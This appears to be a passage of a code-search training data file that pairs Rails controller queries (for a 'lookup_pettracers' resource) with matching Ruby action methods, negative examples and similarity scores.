"def destroy\n @my_question = MyQuestion.find(params[:id])\n @my_question.destroy\n\n respond_to do |format|\n format.html { redirect_to my_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.html {\n redirect_to discipline_topic_quizzes_path(@discipline, @topic), notice: 'Quiz was successfully destroyed.'\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @first_exam.destroy\n respond_to do |format|\n format.html { redirect_to first_exams_url, notice: 'First exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cheque = Cheque.find(params[:id])\n @cheque.destroy\n\n respond_to do |format|\n format.html { redirect_to cheques_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testimonial = Testimonial.find(params[:id])\n @testimonial.destroy\n\n respond_to do |format|\n format.html { redirect_to testimonials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n render json: nil, status: :ok\n end",
"def destroy\n @qu = Qu.find(params[:id])\n @qu.destroy\n respond_to do |format|\n format.html { redirect_to qus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to(quests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionfife.destroy\n respond_to do |format|\n format.html { redirect_to questionfives_url, notice: 'Questionfive was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.html { redirect_to quizzes_url, notice: 'Quiz was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.html { redirect_to quizzes_url, notice: 'Quiz was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.html { redirect_to quizzes_url, notice: 'Quiz was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.71004444",
"0.68754107",
"0.6869112",
"0.6863694",
"0.68629193",
"0.68523794",
"0.68523794",
"0.67636675",
"0.67228574",
"0.67146635",
"0.66786647",
"0.6674779",
"0.66706693",
"0.6658279",
"0.66508406",
"0.66394943",
"0.6626388",
"0.6615939",
"0.6615246",
"0.65891176",
"0.6585658",
"0.6582624",
"0.6579644",
"0.65777016",
"0.6576879",
"0.65575445",
"0.6553847",
"0.65487516",
"0.65329844",
"0.65318006",
"0.6529347",
"0.6526562",
"0.65207946",
"0.651303",
"0.6509275",
"0.6509275",
"0.65065503",
"0.65005404",
"0.6498061",
"0.64979374",
"0.6494346",
"0.6487897",
"0.6483736",
"0.6471605",
"0.6468219",
"0.6463857",
"0.64558125",
"0.64520884",
"0.6451288",
"0.64511794",
"0.64475644",
"0.6442441",
"0.64404994",
"0.6436782",
"0.6430027",
"0.64273",
"0.6425178",
"0.6423586",
"0.6421008",
"0.64179075",
"0.6414983",
"0.6414983",
"0.64144117",
"0.6407463",
"0.6406376",
"0.6406376",
"0.6406376",
"0.6406376",
"0.6406376",
"0.6406376",
"0.64063376",
"0.6395493",
"0.63950956",
"0.63935363",
"0.63918996",
"0.6389021",
"0.63875866",
"0.63875866",
"0.6386794",
"0.6386336",
"0.63860977",
"0.63857317",
"0.638228",
"0.63820654",
"0.6374858",
"0.6373042",
"0.6369931",
"0.63694197",
"0.636746",
"0.6362044",
"0.63589996",
"0.6355684",
"0.6353888",
"0.6353047",
"0.6353046",
"0.63529754",
"0.6352745",
"0.635049",
"0.635049",
"0.635049"
] |
0.7021236
|
1
|
GET /lookup_pettracers/1 GET /lookup_pettracers/1.xml
|
def show
@lookup_pettracer = LookupPettracer.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @lookup_pettracer }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def show\n @lookup_set = LookupSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"def create\n @lookup_pettracer = LookupPettracer.new(params[:lookup_pettracer])\n\n respond_to do |format|\n if @lookup_pettracer.save\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }\n format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @species = Species.find(params[:id]) \n @pets = Pet.paginate(:conditions => ['species_id = ?', @species.id], :order => \"regid ASC\", :per_page => 50, :page => params[:page])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ets }\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pet }\n end\n end",
"def show\n @lookup_source = LookupSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_source }\n end\n end",
"def create\n @lookup_pettracer = LookupPettracer.new(lookup_pettracer_params)#params[:lookup_pettracer])\n\n respond_to do |format|\n if @lookup_pettracer.save\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }\n format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @lookup_sets = LookupSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_sets }\n end\n end",
"def show\n @species = Species.find_by_name(params[:species_name])\n @pet = Pet.first(:conditions => ['species_id = ? AND regid = ?', @species.id, params[:regid]])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pet }\n end\n end",
"def update\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n if @lookup_pettracer.update_attributes(params[:lookup_pettracer])\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @lookup_pettracer = LookupPettracer.find(params[:id])\n @lookup_pettracer.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_pettracers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_pettracer = LookupPettracer.find(params[:id])\n @lookup_pettracer.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_pettracers_url) }\n format.xml { head :ok }\n end\n end",
"def show\n @lookup_truthtable = LookupTruthtable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_truthtable }\n end\n end",
"def index\n @lookup_pettracers = LookupPettracer.all\n # all sams ids done - 43,22,37,38,44,41,45\n # @image_datasets = ImageDataset.where(\"image_datasets.visit_id in ( select visits.id from visits , appointments, scan_procedures_vgroups \n # where visits.appointment_id = appointments.id \n # and appointments.vgroup_id = scan_procedures_vgroups.vgroup_id\n # and scan_procedures_vgroups.scan_procedure_id in (43))\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_pettracers }\n end\n end",
"def index\n @pocket_dictionaries = PocketDictionary.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pocket_dictionaries }\n end\n end",
"def show\n @lookup_rad = LookupRad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_rad }\n end\n end",
"def show\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @vehicle_repair = @vehicle.vehicle_repairs.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vehicle_repair }\n end\n end",
"def index\n @peeps = Peep.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @peeps }\n end\n end",
"def show\n @lookup_drugunit = LookupDrugunit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_drugunit }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def lookup_services(extension, arg)\n extension += \"/#{arg}\"\n uri = URI.parse(API_URL + extension)\n response = connect(uri)\n puts response.body\n end",
"def index\n @entries = @resource_finder.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @pets = Pet.all\n @missing = Pet.find :all, :conditions => {:missing => true}\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pets }\n end\n end",
"def index\n @otf_lookups = OtfLookup.all(:include => :feature)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @otf_lookups }\n end\n end",
"def show\n @lookup_ethnicity = LookupEthnicity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_ethnicity }\n end\n end",
"def show\n @lookup = Lookup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lookup }\n end\n end",
"def tournaments\n get('sports/en/tournaments.xml')\n end",
"def show\n @peep = Peep.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @peep }\n end\n end",
"def show\n @lookup_scantask = LookupScantask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end",
"def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"def people(term, params = {})\n args = '&' + paramify(params) unless params.empty?\n get(\"/catalog/people?term=#{term}#{args}\")\n end",
"def lookups; end",
"def lookup\n @code = Code.find_by_code(params[:code])\n\n # Make a custom xml builder (since excluding \".xml\" in the URL renders ALL fields)\n xml = Builder::XmlMarkup.new(:indent=>2)\n xml.instruct!\n xml.code do\n xml.description @code.description\n xml.amount @code.amount\n xml.currency @code.currency\n xml.organization @code.organization\n xml.email @code.email\n xml.support_contact @code.support_contact\n xml.support_phone @code.support_phone\n xml.updated_at @code.updated_at\n end\n\n respond_to do |format|\n format.any { render :xml => xml.target! }\n# format.html { render :xml => xml.target! }\n end\n end",
"def show\n @pdig = Pdig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pdig }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def show\n @pocket = Pocket.find_pocket(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pocket }\n end\n end",
"def lookup_action; end",
"def show\n @pet_status = PetStatus.find(params[:id])\n\n end",
"def show\n @pokemon = Pokemon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pokemon }\n end\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def find_pets_by_tags_with_http_info(tags, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.find_pets_by_tags ...'\n end\n # verify the required parameter 'tags' is set\n if @api_client.config.client_side_validation && tags.nil?\n fail ArgumentError, \"Missing the required parameter 'tags' when calling PetApi.find_pets_by_tags\"\n end\n # resource path\n local_var_path = '/pet/findByTags'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'tags'] = @api_client.build_collection_param(tags, :csv)\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<Pet>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.find_pets_by_tags\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#find_pets_by_tags\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n pets = pets_from_query\n\n respond_to do |format|\n format.html do\n @pets = pets.paginate(page: params[:page], per_page: 10)\n end\n format.json do\n @pets = pets\n end\n end\n end",
"def index\n @lookup_scantasks = LookupScantask.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_scantasks }\n end\n end",
"def rep_lookup\n 20.times do\n line = @file.readline\n\n representative = \"unknown\"\n #API lookup goes Here\n legislators = Sunlight::Legislator.all_in_zipcode(clean_zipcodes(line[:zipcode]))\n names = legislators.collect do |leg|\n first_name = leg.firstname\n first_initial = first_name[0]\n last_name = leg.lastname\n party = leg.party\n party_initial = party[0]\n title = leg.title\n title_abbr = title[0..2]\n title_abbr +\" \"+ first_initial + \". \" + last_name +\" (\"+party_initial+\")\"\n end\n\n puts \"#{line[:last_name]}, #{line[:last_name]}, #{line[:zipcode]}, #{names.join(\", \")}\"\n end\n end",
"def pokemon_api_caller\nresponse = RestClient.get \"https://pokeapi.co/api/v2/pokemon/?offset=0&limit=807\"\nresponse_JSON = JSON.parse(response)\nresponse_JSON[\"results\"]\nend",
"def new\n @lookup_source = LookupSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_source }\n end\n end",
"def show\n @lookup_letterlabel = LookupLetterlabel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_letterlabel }\n end\n end",
"def locations\n get('locations')\n end",
"def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @locations }\n end\n end",
"def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"def show\n @ipsearch = Ipsearch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ipsearch }\n end\n end",
"def index\n @petprofiles = Petprofile.all\n end",
"def show\n @lookup_eligibilityoutcome = LookupEligibilityoutcome.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_eligibilityoutcome }\n end\n end",
"def list_employees(api_object)\n puts \"Current Employees:\"\n doc = Nokogiri::XML.parse api_object.read\n names = doc.xpath('employees/employee/name').collect {|e| e.text }\n puts names.join(\", \")\n puts \"\"\nend",
"def index\n @places = Place.lookfor(params[:q])\n @places = @places.map{|p| {:tag=>p.tag,:id=>p.id,:name=>p.name}}\n respond_to do |format|\n format.xml { render :xml => @places }\n end\n end",
"def show\n @species = Specie.find(params[:id])\n\n @pets = Pet.where(:specie_id => @species).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {:secie => @species, :pets => @pets } }\n end\n end",
"def show\n @lookup_eligibility_ineligibility = LookupEligibilityIneligibility.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_eligibility_ineligibility }\n end\n end",
"def show\n @detailed_retrofit = DetailedRetrofit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @detailed_retrofit }\n end\n end",
"def show\n @petdetail = Petdetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @petdetail }\n end\n end",
"def index\n @pet_reports = PetReport.search(params[:search])\n end",
"def show\n #NOT USING\n @puppy = Puppy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @puppy }\n end\n end",
"def show\n @prd_etc = PrdEtc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prd_etc }\n end\n end",
"def index\r\n @search = TransportationSlip.search(params[:search])\r\n @transportation_slips = @search.all(:order => \"id DESC\").paginate(:page => params[:page], :per_page => 50)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @transportation_slips }\r\n end\r\n end",
"def lookup(ip)\n uri = Addressable::URI.parse(\"https://ip-api.com/xml/#{ip}\")\n res = Net::HTTP.get_response(uri.normalize)\n MetaData.parse(res.body, single: true).freeze\n end",
"def show\n# @probe_types = ProbeType.find(params[:id])\n @probe_types = ProbeType.paginate :page => params[:page]\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @probe_type.to_xml }\n end\n end",
"def show\n @entry = @resource_finder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def get_search_cep\r\n self.class.get(\"/13040089/json/\") \r\n end",
"def lookup(name, *tags)\n xpath(tags.map{ |tag| \"./xs:#{tag}[@name='#{name}']\" }.join('|'))[0]\n end",
"def index\n @volunteers = Volunteer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @volunteers }\n end\n end",
"def index\n @volunteers = Volunteer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @volunteers }\n end\n end",
"def locations(place)\n get :loc => place\n end",
"def show\n @lr40 = Lr40.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lr40 }\n end\n end",
"def get_xml(url, options = {})\n\t\t\t\n\t\t\t# better way of doing this?\n\t\t\t# Map custom keys to the HTTP request values\n\t\t\treqs = {\n\t\t\t\t:character_name => 'n',\n\t\t\t\t:realm => 'r',\n\t\t\t\t:search => 'searchQuery',\n\t\t\t\t:type => 'searchType',\n\t\t\t\t:guild_name => 'n',\n\t\t\t\t:item_id => 'i',\n\t\t\t\t:team_size => 'ts',\n\t\t\t\t:team_name => 't',\n\t\t\t\t:group => 'group'\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tparams = []\n\t\t\toptions.each do |key, value|\n\t\t\t\tparams << \"#{reqs[key]}=#{u(value)}\" if reqs[key]\n\t\t\tend\n\t\t\t\n\t\t\tquery = '?' + params.join('&') if params.size > 0\n\t\t\t\n\t\t\tbase = self.base_url(options[:locale], options)\n\t\t\tfull_query = base + url + query\n\t\t\t\n\t\t\tputs full_query if options[:debug]\n\t\t\t\n\t\t\tif options[:caching]\n\t\t\t\tresponse = get_cache(full_query, options)\n\t\t\telse\n\t\t\t\tresponse = http_request(full_query, options)\n\t\t\tend\n\t\t\t\t\t\t\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\nbegin\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\nrescue\nend\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend",
"def ScrapPkmn(p1, p2, outdir)\n\tFileUtils.mkpath(outdir);\n\n\tpageURL = \"http://pokemon.alexonsager.net/#{p1}/#{p2}\";\n\timgURL = \"http://images.alexonsager.net/pokemon/fused/#{p2}/#{p2}.#{p1}.png\";\n\toutName = \"#{outdir}/#{p1}_#{p2}_name.txt\";\n\toutImg = \"#{outdir}/#{p1}_#{p2}.png\";\n\n\tdoc = Nokogiri::HTML(open(pageURL));\n\tname = doc.xpath('//*[@id=\"pk_name\"]');\n\n\tFile.write(outName, \"#{name[0].content()}\\n\");\n\t`curl #{imgURL} > \"#{outImg}\"`\nend",
"def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end",
"def index\n @ptschedules = Ptschedule.search(params[:search]) \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ptschedules }\n end\n end",
"def show\n @pet = Pet.find_by id: params[:id]\n end",
"def show\n @lost_pet = LostPet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lost_pet }\n end\n end",
"def call_api\n\t\tputs \"Getting info on elected officials for zipcode: #{zip_code}\"\n\t\t@api_data_on_electeds = JSON.load RestClient.get \"https://congress.api.sunlightfoundation.com/legislators/locate?zip=#{zip_code}&apikey=952d630dfb75498ab63de7a362a85335\"\n\tend",
"def get_related\n tag = params['query']\n\n\n @articles = getRelatedPapers(tag, -1)\n @found = 1\n if @articles.nil?\n @msg = \"None found, try again...\"\n @found = 0\n @articles = []\n end\n\n render \"articles\"\n end",
"def show\n @parlamentarian = Parlamentarian.find_by_id(params[:rdf_uri])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @parlamentarian }\n end\n end",
"def index\n @realtors = Realtor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @realtors }\n end\n end",
"def query\n @libraries = []\n \n begin\n res = Net::HTTP.start(\"worldcatlibraries.org\") { |http| \n http.get(\"/registry/lookup?IP=#{request.remote_ip}\") \n }\n doc = REXML::Document.new res.body\n doc.elements.each('records/resolverRegistryEntry') do |entry|\n name = entry.elements['institutionName'].text\n url = entry.elements['resolver/baseURL'].text\n \n @libraries << { :name => name, :url => url }\n end\n rescue StandardError, Timeout::Error\n @libraries = []\n end\n \n render :layout => 'dialog'\n end",
"def index\n @profesors = Profesor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @profesors }\n end\n end",
"def index\n @pacientes = Paciente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pacientes }\n end\n end",
"def getResultsFromSearch(query, type, guts, ppOverride)\n request('getResultsFromSearch', {'query' => query, 'type' => type, 'guts' => guts, 'ppOverride' => ppOverride})\nend",
"def show\n @pet = Pet.find(params[:id])\n end",
"def show\n @owner = Owner.find(params[:id])\n @species = Species.find(:all, :order => \"name ASC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @owner }\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pet }\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pet }\n end\n end",
"def show\n @lookup_demographicrelativerelationship = LookupDemographicrelativerelationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_demographicrelativerelationship }\n end\n end",
"def sport_tournaments(sport_id)\n get(\"sports/en/sports/sr:sport:#{sport_id}/tournaments.xml\")\n end",
"def show\n @lookup_hardware = LookupHardware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_hardware }\n end\n end",
"def show\n @counterparty = Counterparty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @counterparty }\n end\n end",
"def show\n @pet = Pet.find_by(id: params[:id])\n if @pet\n render json: @pet\n else\n render json: {}, status: 404\n end\n end",
"def adopted_pet_urls_from_doc(doc)\n adopted_pet_urls = []\n \n pet_names = pet_names_from_doc(doc)\n \n pet_urls = pet_urls_from_doc(doc)\n \n pets_hash = Hash[pet_names.zip(pet_urls)]\n pets_hash.map do |name, url|\n if name =~ /Adopted/i\n adopted_pet_urls << url\n end\n end\n adopted_pet_urls\n end",
"def show\n @geoname = Geoname.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @geoname }\n end\n end",
"def vips\n request :get, '/vips'\n end"
] |
[
"0.617898",
"0.6178828",
"0.5629938",
"0.56234324",
"0.5599871",
"0.55295986",
"0.5497101",
"0.5496962",
"0.5491627",
"0.5441498",
"0.5411596",
"0.5232296",
"0.5232296",
"0.51972854",
"0.5173034",
"0.51612353",
"0.51506937",
"0.51472586",
"0.5144232",
"0.5136531",
"0.5100024",
"0.5085804",
"0.5083194",
"0.50808114",
"0.5061279",
"0.5059447",
"0.50491023",
"0.5046389",
"0.5037378",
"0.5034566",
"0.5020541",
"0.50086784",
"0.5007374",
"0.49980032",
"0.49954134",
"0.49866432",
"0.4985163",
"0.4976905",
"0.49754667",
"0.49750012",
"0.4972383",
"0.49591738",
"0.49533883",
"0.49502197",
"0.49340725",
"0.49238026",
"0.49158126",
"0.49089837",
"0.49084195",
"0.49078622",
"0.49074137",
"0.49004582",
"0.48993018",
"0.48973992",
"0.4896155",
"0.48912144",
"0.48801246",
"0.4879867",
"0.48792568",
"0.4873547",
"0.48730052",
"0.48724315",
"0.48713547",
"0.48703882",
"0.4861086",
"0.4857857",
"0.48551193",
"0.485479",
"0.4847241",
"0.4846484",
"0.4846484",
"0.484285",
"0.48362815",
"0.48324823",
"0.48316312",
"0.48189023",
"0.48167157",
"0.4816203",
"0.4812082",
"0.48092622",
"0.48091742",
"0.4806723",
"0.48028404",
"0.48015022",
"0.479961",
"0.47989038",
"0.47946936",
"0.47935006",
"0.4792502",
"0.47918695",
"0.47918695",
"0.47890803",
"0.47876275",
"0.4786001",
"0.4776627",
"0.4774556",
"0.4774313",
"0.47730747",
"0.47708723"
] |
0.70403606
|
0
|
GET /lookup_pettracers/new GET /lookup_pettracers/new.xml
|
def new
@lookup_pettracer = LookupPettracer.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @lookup_pettracer }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @lookup_pettracer = LookupPettracer.new(params[:lookup_pettracer])\n\n respond_to do |format|\n if @lookup_pettracer.save\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }\n format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lookup_pettracer = LookupPettracer.new(lookup_pettracer_params)#params[:lookup_pettracer])\n\n respond_to do |format|\n if @lookup_pettracer.save\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }\n format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"def new\n @lookup_source = LookupSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_source }\n end\n end",
"def new\n @pet = Pet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pet }\n end\n end",
"def new\n @entry = @resource_finder.new\n initialize_new_resource\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end",
"def new\n @lookup_type = Irm::LookupType.new(:lookup_level=>'USER')\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_type }\n end\n end",
"def new\n @lookup_truthtable = LookupTruthtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_truthtable }\n end\n end",
"def new\n @pdig = Pdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pdig }\n end\n end",
"def new\n @lookup_rad = LookupRad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_rad }\n end\n end",
"def new\n @lookup_drugunit = LookupDrugunit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_drugunit }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end",
"def new\n @lookup_bvmtpercentile = LookupBvmtpercentile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_bvmtpercentile }\n end\n end",
"def new\n @pneighbour = Pneighbour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pneighbour }\n end\n end",
"def new\n new_prc\n\n setup_campuses_and_semesters\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prc }\n end\n end",
"def new\n @ipsearch = Ipsearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ipsearch }\n end\n end",
